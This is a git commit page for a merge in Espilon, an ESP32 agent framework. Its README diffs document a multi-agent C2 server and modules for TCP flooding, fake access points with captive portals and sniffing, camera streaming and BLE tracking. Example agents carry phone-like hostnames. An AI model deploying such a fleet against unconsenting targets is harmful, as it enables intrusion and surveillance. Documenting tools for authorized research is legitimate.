ε - Merge implem-c2 into main

This commit is contained in:
Eun0us 2026-02-06 10:02:56 +01:00
commit 3311626d58
56 changed files with 8067 additions and 770 deletions

5
.gitignore vendored
View File

@ -48,6 +48,11 @@ logs/
espilon_bot/logs/
sdkconfig
# C2 Runtime files (camera streams, recordings)
tools/c2/static/streams/*.jpg
tools/c2/static/recordings/*.avi
*.avi
# IDE and Editor
.vscode/
!.vscode/settings.json

View File

@ -1,371 +0,0 @@
# Espilon
![Espilon Logo](assets/images/espilon-logo.jpg)
**Embedded ESP32 Agent Framework for Security Research and IoT**
[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
[![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.3.2-green.svg)](https://github.com/espressif/esp-idf)
[![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32)
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
---
## Full Documentation
**[View the full documentation here](https://docs.espilon.net)**
![Documentation header](assets/images/documentation-header.png)
---
The MkDocs documentation includes:
```md
- Step-by-step installation guide
- Translate EN/FR
- WiFi and GPRS configuration
- Module and command reference
- Multi-device flasher guide
- C2 protocol specification
- Examples and use cases
```
---
## Quick Start
### Prerequisites
- ESP-IDF v5.3.2
- Python 3.8+
- ESP32 (any compatible model)
- LilyGO T-Call for GPRS mode (optional)
### Quick Installation
```bash
# 1. Install ESP-IDF v5.3.2
mkdir -p ~/esp
cd ~/esp
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
cd esp-idf
./install.sh esp32
. ./export.sh
# 2. Clone Espilon
cd ~
git clone https://github.com/Espilon-Net/epsilon-source.git
cd Espilon-Net/espilon_bot
# 3. Configure with menuconfig or tools/flasher/devices.json
idf.py menuconfig
# 4. Build and flash
idf.py build
idf.py -p /dev/ttyUSB0 flash monitor
```
**Minimal configuration** (menuconfig):
```c
Espilon Bot Configuration
|- Device ID: "your_unique_id"
|- Network -> WiFi
| |- SSID: "YourWiFi"
| |- Password: "YourPassword"
|- Server
|- IP: "192.168.1.100"
|- Port: 2626
```
![menuconfig](assets/images/menuconfig.png)
---
## What is Espilon?
Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for:
- **Security research**: WiFi testing, network reconnaissance, IoT pentesting
- **Education**: Learning embedded systems, network protocols, FreeRTOS
- **IoT prototyping**: Distributed communication, monitoring, sensors
### Connectivity Modes
| Mode | Hardware | Range | Use Case |
|------|----------|-------|----------|
| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings |
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
---
## Architecture
```
+---------------------------------------------------------+
| ESP32 Agent |
| +-----------+ +----------+ +---------------------+ |
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
| +-----------+ +----------+ +---------------------+ |
| | | | |
| +-----------------------------------------------------+|
| | Module System (FreeRTOS) ||
| | [Network] [FakeAP] [Recon] [Custom...] ||
| +-----------------------------------------------------+|
+---------------------------------------------------------+
| Encrypted TCP
+---------------------+
| C2 Server (C3PO) |
| - Device Registry |
| - Group Management |
| - CLI Interface |
+---------------------+
```
### Key Components
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)**: Python asyncio server for multi-agent control
- **Flasher**: Automated multi-device flashing tool
---
## Available Modules
> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig.
### System Module (Built-in, always active)
Basic system commands:
- `system_reboot`: Reboot the ESP32
- `system_mem`: Display memory usage (heap free, heap min, internal free)
- `system_uptime`: Uptime since boot
### Network Module
Module for network reconnaissance and testing:
- `ping <host> [args...]`: ICMP connectivity test
- `arp_scan`: Discover hosts on local network via ARP
- `proxy_start <ip> <port>`: Start a TCP proxy
- `proxy_stop`: Stop the running proxy
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
### FakeAP Module
Module for creating simulated WiFi access points:
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
- `fakeap_stop`: Stop the fake AP
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
- `fakeap_clients`: List connected clients
- `fakeap_portal_start`: Enable captive portal
- `fakeap_portal_stop`: Disable captive portal
- `fakeap_sniffer_on`: Enable network traffic capture
- `fakeap_sniffer_off`: Disable capture
### Recon Module
Reconnaissance and data collection module. Two modes available:
#### Camera Mode (ESP32-CAM)
- `cam_start <ip> <port>`: Start UDP video streaming (~7 FPS, QQVGA)
- `cam_stop`: Stop streaming
#### BLE Trilateration Mode
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
- `trilat stop`: Stop trilateration
---
**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules
Choose **only one module**:
- `CONFIG_MODULE_NETWORK`: Enable the Network Module
- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module
- `CONFIG_MODULE_RECON`: Enable the Recon Module
- Then choose: `Camera` or `BLE Trilateration`
---
## Tools
### Multi-Device Flasher
Automated flasher to configure multiple ESP32s:
```bash
cd tools/flasher
python3 flash.py --config devices.json
```
**devices.json**:
```json
{
"project": "/path/to/espilon_bot",
"devices": [
{
"device_id": "esp001",
"port": "/dev/ttyUSB0",
"network_mode": "wifi",
"wifi_ssid": "MyNetwork",
"wifi_pass": "MyPassword",
"srv_ip": "192.168.1.100"
}
]
}
```
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
### C2 Server (C3PO)
Command & Control server:
```bash
cd tools/c2
pip3 install -r requirements.txt
python3 c3po.py --port 2626
```
**Commands**:
- `list`: List connected agents
- `select <id>`: Select an agent
- `cmd <command>`: Execute a command
- `group`: Manage agent groups
---
## Security
### Encryption
- **ChaCha20** for C2 communications
- **Configurable keys** via menuconfig
- **Protocol Buffers (nanoPB)** for serialization
**CHANGE DEFAULT KEYS** for production use:
```bash
# Generate random keys
openssl rand -hex 32 # ChaCha20 key (32 bytes)
openssl rand -hex 12 # Nonce (12 bytes)
```
### Responsible Use
Espilon should only be used for:
- **Authorized** penetration testing
- **Ethical** security research
- Education and training
- Legitimate IoT prototyping
**Prohibited**: Unauthorized access, malicious attacks, privacy violations.
---
## Use Cases
### WiFi Pentesting
- Network security auditing
- WPA2/WPA3 robustness testing
- Network mapping
### IoT Security Research
- IoT device testing
- Protocol analysis
- Vulnerability detection
### Education
- Cybersecurity labs
- Embedded systems courses
- CTF competitions
---
## Roadmap
### V2.0 (In Progress)
- [ ] Mesh networking (BLE/WiFi)
- [ ] Improve documentation
- [ ] OTA updates
- [ ] Collaborative multilateration
- [ ] Memory optimization
### Future
- [ ] Custom Espilon PCB
- [ ] ESP32-S3/C3 support
- [ ] Module SDK for third-party extensions
- [ ] Web UI for C2
---
## License
Espilon is licensed under **MIT** with a security addendum.
See [LICENSE](LICENSE) for full details.
**In summary**:
- Free use for research, education, development
- Modification and distribution allowed
- **Obtain authorization** before any deployment
- Malicious use strictly prohibited
---
## Contributors
- **@Eun0us** - Core architecture, modules
- **@off-path** - C2 server, protocol
- **@itsoktocryyy** - Network features, work on Mod Wall Hack
- **@wepfen** - Documentation, tools
### Contributing
Contributions welcome! See [CONTRIBUTING.md](CONTRIBUTING.md).
**Join us**:
- Report bugs
- Propose features
- Submit PRs
- Improve documentation
---
## Useful Links
- **[Full documentation](https://docs.espilon.net)**
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
- **French README**: [README.md](README.md)
---
## Support
- **Issues**: [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
- **Discussions**: [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
---
**Originally presented at Le Hack (June 2025)**
**Made with love for security research and education**

428
README.fr.md Normal file
View File

@ -0,0 +1,428 @@
# Espilon
![Espilon Logo](assets/images/espilon-logo.jpg)
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
[![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.3.2-green.svg)](https://github.com/espressif/esp-idf)
[![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32)
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
---
## Sommaire
- [Documentation Complète](#documentation-complète)
- [Quick Start](#quick-start)
- [Prérequis](#prérequis)
- [Installation Rapide](#installation-rapide)
- [Qu'est-ce qu'Espilon ?](#quest-ce-quespilon-)
- [Modes de Connectivité](#modes-de-connectivité)
- [Architecture](#architecture)
- [Composants Clés](#composants-clés)
- [Modules Disponibles](#modules-disponibles)
- [System Module](#system-module-built-in-toujours-actif)
- [Network Module](#network-module)
- [FakeAP Module](#fakeap-module)
- [Recon Module](#recon-module)
- [Outils](#outils)
- [Multi-Device Flasher](#multi-device-flasher)
- [C2 Server (C3PO)](#c2-server-c3po)
- [Sécurité](#sécurité)
- [Chiffrement](#chiffrement)
- [Usage Responsable](#usage-responsable)
- [Cas d'Usage](#cas-dusage)
- [Roadmap](#roadmap)
- [Licence](#licence)
- [Contributeurs](#contributeurs)
- [Liens Utiles](#liens-utiles)
- [Support](#support)
---
## Documentation Complète
**[Consultez la documentation complète ici](https://docs.espilon.net)**
![Documentation header](assets/images/documentation-header.png)
---
La documentation MkDocs inclut :
```md
- Guide d'installation pas à pas
- Traduction EN/FR
- Configuration WiFi et GPRS
- Référence des modules et commandes
- Guide du flasher multi-device
- Spécification du protocole C2
- Exemples et cas d'usage
```
---
## Quick Start
### Prérequis
- ESP-IDF v5.3.2
- Python 3.8+
- ESP32 (tout modèle compatible)
- LilyGO T-Call pour le mode GPRS (optionnel)
### Installation Rapide
```bash
# 1. Installer ESP-IDF v5.3.2
mkdir -p ~/esp
cd ~/esp
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
cd esp-idf
./install.sh esp32
. ./export.sh
# 2. Cloner Espilon
cd ~
git clone https://github.com/Espilon-Net/epsilon-source.git
cd epsilon/espilon_bot
# 3. Configurer
idf.py menuconfig
# 4. Compiler et flasher
idf.py build
idf.py -p /dev/ttyUSB0 flash monitor
```
**Configuration minimale** (menuconfig) :
```c
Espilon Bot Configuration
├─ Device ID: "votre_id_unique"
├─ Network → WiFi
│ ├─ SSID: "VotreWiFi"
│ └─ Password: "VotreMotDePasse"
└─ Server
├─ IP: "192.168.1.100"
└─ Port: 2626
```
---
## Qu'est-ce qu'Espilon ?
Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour :
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
### Modes de Connectivité
| Mode | Hardware | Portée | Use Case |
|------|----------|--------|----------|
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
**General Packet Radio Service** vs **WiFi**
---
## Architecture
```md
┌─────────────────────────────────────────────────────┐
│ ESP32 Agent │
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
│ └───────────┘ └──────────┘ └─────────────────┘ │
│ ↓ ↓ ↓ │
│ ┌───────────────────────────────────────────────┐ │
│ │ Module System (FreeRTOS) │ │
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
│ └───────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────┘
↕ Encrypted TCP
┌──────────────────────┐
│ C2 Server (C3PO) │
│ - Device Registry │
│ - Group Management │
│ - CLI Interface │
└──────────────────────┘
```
### Composants Clés
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
- **Flasher** : Outil de flash multi-device automatisé
---
## Modules Disponibles
> **Note importante** : Les modules sont **mutuellement exclusifs**. Vous devez choisir **un seul module** lors de la configuration via menuconfig.
### System Module (Built-in, toujours actif)
Commandes système de base :
- `system_reboot` : Redémarrage de l'ESP32
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
- `system_uptime` : Temps de fonctionnement depuis le boot
### Network Module
Module pour reconnaissance et tests réseau :
- `ping <host> [args...]` : Test de connectivité ICMP
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
- `proxy_stop` : Arrêter le proxy en cours
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
### FakeAP Module
Module pour création de points d'accès WiFi simulés :
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
- `fakeap_stop` : Arrêter le faux AP
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
- `fakeap_clients` : Lister les clients connectés
- `fakeap_portal_start` : Activer le portail captif
- `fakeap_portal_stop` : Désactiver le portail captif
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
- `fakeap_sniffer_off` : Désactiver la capture
### Recon Module
Module de reconnaissance et collecte de données. Deux modes disponibles :
#### Mode Camera (ESP32-CAM)
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
- `cam_stop` : Arrêter le streaming
#### Mode BLE Trilateration
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
- `trilat stop` : Arrêter la trilatération
---
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
Choisissez **un seul module** :
- `CONFIG_MODULE_NETWORK` : Active le Network Module
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
- `CONFIG_MODULE_RECON` : Active le Recon Module
- Puis choisir : `Camera` ou `BLE Trilateration`
---
## Outils
### Multi-Device Flasher
Flasher automatisé pour configurer plusieurs ESP32 :
```bash
cd tools/flasher
python3 flash.py --config devices.json
```
**devices.json** :
```json
{
"project": "/home/user/epsilon/espilon_bot",
"devices": [
## WiFi AGENT ##
{
"device_id": "ce4f626b",
"port": "/dev/ttyUSB0",
"srv_ip": "192.168.1.13",
"srv_port": 2626,
"network_mode": "wifi",
"wifi_ssid": "MyWiFi",
"wifi_pass": "MyPassword123",
"hostname": "pixel-8-pro",
"module_network": true,
"module_recon": false,
"module_fakeap": false,
"recon_camera": false,
"recon_ble_trilat": false,
"crypto_key": "testde32chars00000000000000000000",
"crypto_nonce": "noncenonceno"
},
## GPRS AGENT ##
{
"device_id": "a91dd021",
"port": "/dev/ttyUSB1",
"srv_ip": "203.0.113.10",
"srv_port": 2626,
"network_mode": "gprs",
"gprs_apn": "sl2sfr",
"hostname": "galaxy-s24-ultra",
"module_network": true,
"module_recon": false,
"module_fakeap": false
}
]
}
```
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
### C2 Server (C3PO)
Serveur de Command & Control :
```bash
cd tools/c2
pip3 install -r requirements.txt
python3 c3po.py --port 2626
```
**Commandes** :
- `list` : Lister les agents connectés
- `select <id>` : Sélectionner un agent
- `cmd <command>` : Exécuter une commande
- `group` : Gérer les groupes d'agents
---
## Sécurité
### Chiffrement
- **ChaCha20** pour les communications C2
- **Clés configurables** via menuconfig
- **Protocol Buffers (nanoPB)** pour la sérialisation
⚠️ **CHANGEZ LES CLÉS PAR DÉFAUT** pour un usage en production :
```bash
# Générer des clés aléatoires
openssl rand -hex 32 # ChaCha20 key (32 bytes)
openssl rand -hex 12 # Nonce (12 bytes)
```
### Usage Responsable
Espilon doit être utilisé uniquement pour :
- Tests d'intrusion **autorisés**
- Recherche en sécurité **éthique**
- Éducation et formation
- Prototypage IoT légitime
**Interdit** : Accès non autorisé, attaques malveillantes, violation de confidentialité.
---
## Cas d'Usage
### Pentest WiFi
- Audit de sécurité réseau
- Test de robustesse WPA2/WPA3
- Cartographie réseau
### IoT Security Research
- Test de devices IoT
- Analyse de protocoles
- Détection de vulnérabilités
### Éducation
- Labs de cybersécurité
- Cours d'embarqué
- CTF competitions
---
## Roadmap
### V2.0 (En cours)
- [ ] Mesh networking (BLE/WiFi)
- [ ] Implémenter Module reccoon dans C3PO
- [ ] Améliorer la Documentations [here](https://docs.espilon.net)
- [ ] OTA updates
- [ ] Multilatération collaborative
- [ ] Optimisation mémoire
### Future
- [ ] PCB custom Espilon
- [ ] Support ESP32-S3/C3
- [ ] Module SDK pour extensions tierces
- [ ] Web UI pour C2
---
## Licence
Espilon est sous licence **MIT** avec addendum de sécurité.
Voir [LICENSE](LICENSE) pour les détails complets.
**En résumé** :
- Utilisation libre pour recherche, éducation, développement
- Modification et distribution autorisées
- **Obtenir autorisation** avant tout déploiement
- Usage malveillant strictement interdit
---
## Contributeurs
- **@Eun0us** - Core architecture, modules
- **@off-path** - C2 server, protocol
- **@itsoktocryyy** - Network features, Wall Hack
- **@wepfen** - Documentation, tools
### Contribuer
Contributions bienvenues ! Voir [CONTRIBUTING.md](CONTRIBUTING.md).
**Rejoignez-nous** :
- Rapporter des bugs
- Proposer des features
- Soumettre des PRs
- Améliorer la doc
---
## Liens Utiles
- **[Documentation complète](https://docs.espilon.net)**
- **[ESP-IDF Documentation](https://docs.espressif.com/projects/esp-idf/)**
- **[LilyGO T-Call](https://github.com/Xinyuan-LilyGO/LilyGO-T-Call-SIM800)**
- **English README** : [README.en.md](README.en.md)
---
## Support
- **Issues** : [GitHub Issues](https://github.com/Espilon-Net/Espilon-Source/issues)
- **Discussions** : [GitHub Discussions](https://github.com/Espilon-Net/Espilon-Source/discussions)
---
**Présenté initialement à Le Hack (Juin 2025)**
**Made with love for security research and education**

399
README.md
View File

@ -2,51 +2,81 @@
![Espilon Logo](assets/images/espilon-logo.jpg)
**Framework d'agents embarqués ESP32 pour la recherche en sécurité et l'IoT**
**Embedded ESP32 Agent Framework for Security Research and IoT**
[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](LICENSE)
[![ESP-IDF](https://img.shields.io/badge/ESP--IDF-v5.3.2-green.svg)](https://github.com/espressif/esp-idf)
[![Platform](https://img.shields.io/badge/Platform-ESP32-red.svg)](https://www.espressif.com/en/products/socs/esp32)
> **⚠️ IMPORTANT** : Espilon est destiné à la recherche en sécurité, aux tests d'intrusion autorisés et à l'éducation. L'utilisation non autorisée est illégale. Obtenez toujours une autorisation écrite avant tout déploiement.
> **IMPORTANT**: Espilon is intended for security research, authorized penetration testing, and education. Unauthorized use is illegal. Always obtain written permission before any deployment.
---
## Documentation Complète
## Table of Contents
**[Consultez la documentation complète ici](https://docs.espilon.net)**
- [Full Documentation](#full-documentation)
- [Quick Start](#quick-start)
- [Prerequisites](#prerequisites)
- [Quick Installation](#quick-installation)
- [What is Espilon?](#what-is-espilon)
- [Connectivity Modes](#connectivity-modes)
- [Architecture](#architecture)
- [Key Components](#key-components)
- [Available Modules](#available-modules)
- [System Module](#system-module-built-in-always-active)
- [Network Module](#network-module)
- [FakeAP Module](#fakeap-module)
- [Recon Module](#recon-module)
- [Tools](#tools)
- [Multi-Device Flasher](#multi-device-flasher)
- [C2 Server (C3PO)](#c2-server-c3po)
- [Security](#security)
- [Encryption](#encryption)
- [Responsible Use](#responsible-use)
- [Use Cases](#use-cases)
- [Roadmap](#roadmap)
- [License](#license)
- [Contributors](#contributors)
- [Useful Links](#useful-links)
- [Support](#support)
---
## Full Documentation
**[View the full documentation here](https://docs.espilon.net)**
![Documentation header](assets/images/documentation-header.png)
---
La documentation MkDocs inclut :
The MkDocs documentation includes:
```md
- Guide d'installation pas à pas
- Traduction EN/FR
- Configuration WiFi et GPRS
- Référence des modules et commandes
- Guide du flasher multi-device
- Spécification du protocole C2
- Exemples et cas d'usage
- Step-by-step installation guide
- Translate EN/FR
- WiFi and GPRS configuration
- Module and command reference
- Multi-device flasher guide
- C2 protocol specification
- Examples and use cases
```
---
## Quick Start
### Prérequis
### Prerequisites
- ESP-IDF v5.3.2
- Python 3.8+
- ESP32 (tout modèle compatible)
- LilyGO T-Call pour le mode GPRS (optionnel)
- ESP32 (any compatible model)
- LilyGO T-Call for GPRS mode (optional)
### Installation Rapide
### Quick Installation
```bash
# 1. Installer ESP-IDF v5.3.2
# 1. Install ESP-IDF v5.3.2
mkdir -p ~/esp
cd ~/esp
git clone -b v5.3.2 --recursive https://github.com/espressif/esp-idf.git
@ -54,205 +84,182 @@ cd esp-idf
./install.sh esp32
. ./export.sh
# 2. Cloner Espilon
# 2. Clone Espilon
cd ~
git clone https://github.com/Espilon-Net/epsilon-source.git
cd epsilon/espilon_bot
cd Espilon-Net/espilon_bot
# 3. Configurer
# 3. Configure with menuconfig or tools/flasher/devices.json
idf.py menuconfig
# 4. Compiler et flasher
# 4. Build and flash
idf.py build
idf.py -p /dev/ttyUSB0 flash monitor
```
**Configuration minimale** (menuconfig) :
**Minimal configuration** (menuconfig):
```c
Espilon Bot Configuration
├─ Device ID: "votre_id_unique"
├─ Network → WiFi
│ ├─ SSID: "VotreWiFi"
│ └─ Password: "VotreMotDePasse"
└─ Server
├─ IP: "192.168.1.100"
└─ Port: 2626
|- Device ID: "your_unique_id"
|- Network -> WiFi
| |- SSID: "YourWiFi"
| |- Password: "YourPassword"
|- Server
|- IP: "192.168.1.100"
|- Port: 2626
```
![menuconfig](assets/images/menuconfig.png)
---
## Qu'est-ce qu'Espilon ?
## What is Espilon?
Espilon transforme des microcontrôleurs ESP32 abordables à **~5€** en agents networked puissants pour :
Espilon transforms affordable ESP32 microcontrollers (~$5) into powerful networked agents for:
- **Recherche en sécurité** : Tests WiFi, reconnaissance réseau, IoT pentesting
- **Éducation** : Apprentissage de l'embarqué, protocoles réseau, FreeRTOS
- **Prototypage IoT** : Communication distribuée, monitoring, capteurs
- **Security research**: WiFi testing, network reconnaissance, IoT pentesting
- **Education**: Learning embedded systems, network protocols, FreeRTOS
- **IoT prototyping**: Distributed communication, monitoring, sensors
### Modes de Connectivité
### Connectivity Modes
| Mode | Hardware | Portée | Use Case |
|------|----------|--------|----------|
| **WiFi** | ESP32 standard | 50-100m | Labs, bâtiments |
| Mode | Hardware | Range | Use Case |
|------|----------|-------|----------|
| **WiFi** | Standard ESP32 | 50-100m | Labs, buildings |
| **GPRS** | LilyGO T-Call | National (2G) | Mobile, remote |
**General Packet Radio Service** vs **WiFi**
---
## Architecture
```md
┌─────────────────────────────────────────────────────┐
│ ESP32 Agent │
│ ┌───────────┐ ┌──────────┐ ┌─────────────────┐ │
│ │ WiFi/ │→ │ ChaCha20 │→ │ C2 Protocol │ │
│ │ GPRS │← │ Crypto │← │ (nanoPB/TCP) │ │
│ └───────────┘ └──────────┘ └─────────────────┘ │
│ ↓ ↓ ↓ │
│ ┌───────────────────────────────────────────────┐ │
│ │ Module System (FreeRTOS) │ │
│ │ [Network] [FakeAP] [Recon] [Custom...] │ │
│ └───────────────────────────────────────────────┘ │
└─────────────────────────────────────────────────────┘
Encrypted TCP
┌──────────────────────┐
│ C2 Server (C3PO) │
│ - Device Registry │
│ - Group Management │
│ - CLI Interface │
└──────────────────────┘
```
+---------------------------------------------------------+
| ESP32 Agent |
| +-----------+ +----------+ +---------------------+ |
| | WiFi/ |->| ChaCha20 |->| C2 Protocol | |
| | GPRS |<-| Crypto |<-| (nanoPB/TCP) | |
| +-----------+ +----------+ +---------------------+ |
| | | | |
| +-----------------------------------------------------+|
| | Module System (FreeRTOS) ||
| | [Network] [FakeAP] [Recon] [Custom...] ||
| +-----------------------------------------------------+|
+---------------------------------------------------------+
| Encrypted TCP
+---------------------+
| C2 Server (C3PO) |
| - Device Registry |
| - Group Management |
| - CLI Interface |
+---------------------+
```
### Composants Clés
### Key Components
- **Core** : Connexion réseau, crypto ChaCha20, protocole nanoPB
- **Modules** : Système extensible (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)** : Serveur Python asyncio pour contrôle multi-agents
- **C3PO**: Ancien c2 (serveur web - Trilateration + Front affichage caméra)
- **Flasher** : Outil de flash multi-device automatisé
- **Core**: Network connection, ChaCha20 crypto, nanoPB protocol
- **Modules**: Extensible system (Network, FakeAP, Recon, etc.)
- **C2 (C3PO)**: Python asyncio server for multi-agent control
- **Flasher**: Automated multi-device flashing tool
---
## Modules Disponibles
## Available Modules
### System Module (Built-in, toujours actif désactivable dans les src)
> **Important note**: Modules are **mutually exclusive**. You must choose **only one module** during configuration via menuconfig.
Commandes système de base :
### System Module (Built-in, always active)
- `system_reboot` : Redémarrage de l'ESP32
- `system_mem` : Affichage de l'utilisation mémoire (heap free, heap min, internal free)
- `system_uptime` : Temps de fonctionnement depuis le boot
Basic system commands:
- `system_reboot`: Reboot the ESP32
- `system_mem`: Display memory usage (heap free, heap min, internal free)
- `system_uptime`: Uptime since boot
### Network Module
Module pour reconnaissance et tests réseau :
Module for network reconnaissance and testing:
- `ping <host> [args...]` : Test de connectivité ICMP
- `arp_scan` : Découverte des hôtes sur le réseau local via ARP
- `proxy_start <ip> <port>` : Démarrer un proxy TCP
- `proxy_stop` : Arrêter le proxy en cours
- `dos_tcp <ip> <port> <count>` : Test de charge TCP (à usage autorisé uniquement)
- `ping <host> [args...]`: ICMP connectivity test
- `arp_scan`: Discover hosts on local network via ARP
- `proxy_start <ip> <port>`: Start a TCP proxy
- `proxy_stop`: Stop the running proxy
- `dos_tcp <ip> <port> <count>`: TCP load test (authorized use only)
### FakeAP Module
Module pour création de points d'accès WiFi simulés :
Module for creating simulated WiFi access points:
- `fakeap_start <ssid> [open|wpa2] [password]` : Démarrer un faux point d'accès
- `fakeap_stop` : Arrêter le faux AP
- `fakeap_status` : Afficher le statut (AP, portal, sniffer, clients)
- `fakeap_clients` : Lister les clients connectés
- `fakeap_portal_start` : Activer le portail captif
- `fakeap_portal_stop` : Désactiver le portail captif
- `fakeap_sniffer_on` : Activer la capture de trafic réseau
- `fakeap_sniffer_off` : Désactiver la capture
- `fakeap_start <ssid> [open|wpa2] [password]`: Start a fake access point
- `fakeap_stop`: Stop the fake AP
- `fakeap_status`: Display status (AP, portal, sniffer, clients)
- `fakeap_clients`: List connected clients
- `fakeap_portal_start`: Enable captive portal
- `fakeap_portal_stop`: Disable captive portal
- `fakeap_sniffer_on`: Enable network traffic capture
- `fakeap_sniffer_off`: Disable capture
### Recon Module
Module de reconnaissance et collecte de données. Deux modes disponibles :
Reconnaissance and data collection module. Two modes available:
#### Mode Camera (ESP32-CAM)
#### Camera Mode (ESP32-CAM)
- `cam_start <ip> <port>` : Démarrer le streaming vidéo UDP (~7 FPS, QQVGA)
- `cam_stop` : Arrêter le streaming
- `cam_start <ip> <port>`: Start UDP video streaming (~7 FPS, QQVGA)
- `cam_stop`: Stop streaming
#### Mode BLE Trilateration
#### BLE Trilateration Mode
- `trilat start <mac> <url> <bearer>` : Démarrer la trilatération BLE avec POST HTTP
- `trilat stop` : Arrêter la trilatération
- `trilat start <mac> <url> <bearer>`: Start BLE trilateration with HTTP POST
- `trilat stop`: Stop trilateration
---
**Configuration** : `idf.py menuconfig` → Espilon Bot Configuration → Modules
**Configuration**: `idf.py menuconfig` -> Espilon Bot Configuration -> Modules
Choisissez **un seul module** :
Choose **only one module**:
- `CONFIG_MODULE_NETWORK` : Active le Network Module
- `CONFIG_MODULE_FAKEAP` : Active le FakeAP Module
- `CONFIG_MODULE_RECON` : Active le Recon Module
- Puis choisir : `Camera` ou `BLE Trilateration`
- `CONFIG_MODULE_NETWORK`: Enable the Network Module
- `CONFIG_MODULE_FAKEAP`: Enable the FakeAP Module
- `CONFIG_MODULE_RECON`: Enable the Recon Module
- Then choose: `Camera` or `BLE Trilateration`
---
## Outils
## Tools
### Multi-Device Flasher
Flasher automatisé pour configurer plusieurs ESP32 :
Automated flasher to configure multiple ESP32s:
```bash
cd tools/flasher
python3 flash.py --config devices.json
```
**devices.json** :
**devices.json**:
```json
{
"project": "/home/user/epsilon/espilon_bot",
"project": "/path/to/espilon_bot",
"devices": [
## WiFi AGENT ##
{
"device_id": "ce4f626b",
"device_id": "esp001",
"port": "/dev/ttyUSB0",
"srv_ip": "192.168.1.13",
"srv_port": 2626,
"network_mode": "wifi",
"wifi_ssid": "MyWiFi",
"wifi_pass": "MyPassword123",
"hostname": "pixel-8-pro",
"module_network": true,
"module_recon": false,
"module_fakeap": false,
"recon_camera": false,
"recon_ble_trilat": false,
"crypto_key": "testde32chars00000000000000000000",
"crypto_nonce": "noncenonceno"
},
## GPRS AGENT ##
{
"device_id": "a91dd021",
"port": "/dev/ttyUSB1",
"srv_ip": "203.0.113.10",
"srv_port": 2626,
"network_mode": "gprs",
"gprs_apn": "sl2sfr",
"hostname": "galaxy-s24-ultra",
"module_network": true,
"module_recon": false,
"module_fakeap": false
"wifi_ssid": "MyNetwork",
"wifi_pass": "MyPassword",
"srv_ip": "192.168.1.100"
}
]
}
```
Voir [tools/flasher/README.md](tools/flasher/README.md) pour la documentation complète.
See [tools/flasher/README.md](tools/flasher/README.md) for complete documentation.
### C2 Server (C3PO)
Serveur de Command & Control :
Command & Control server:
```bash
cd tools/c2
@ -260,137 +267,135 @@ pip3 install -r requirements.txt
python3 c3po.py --port 2626
```
**Commandes** :
**Commands**:
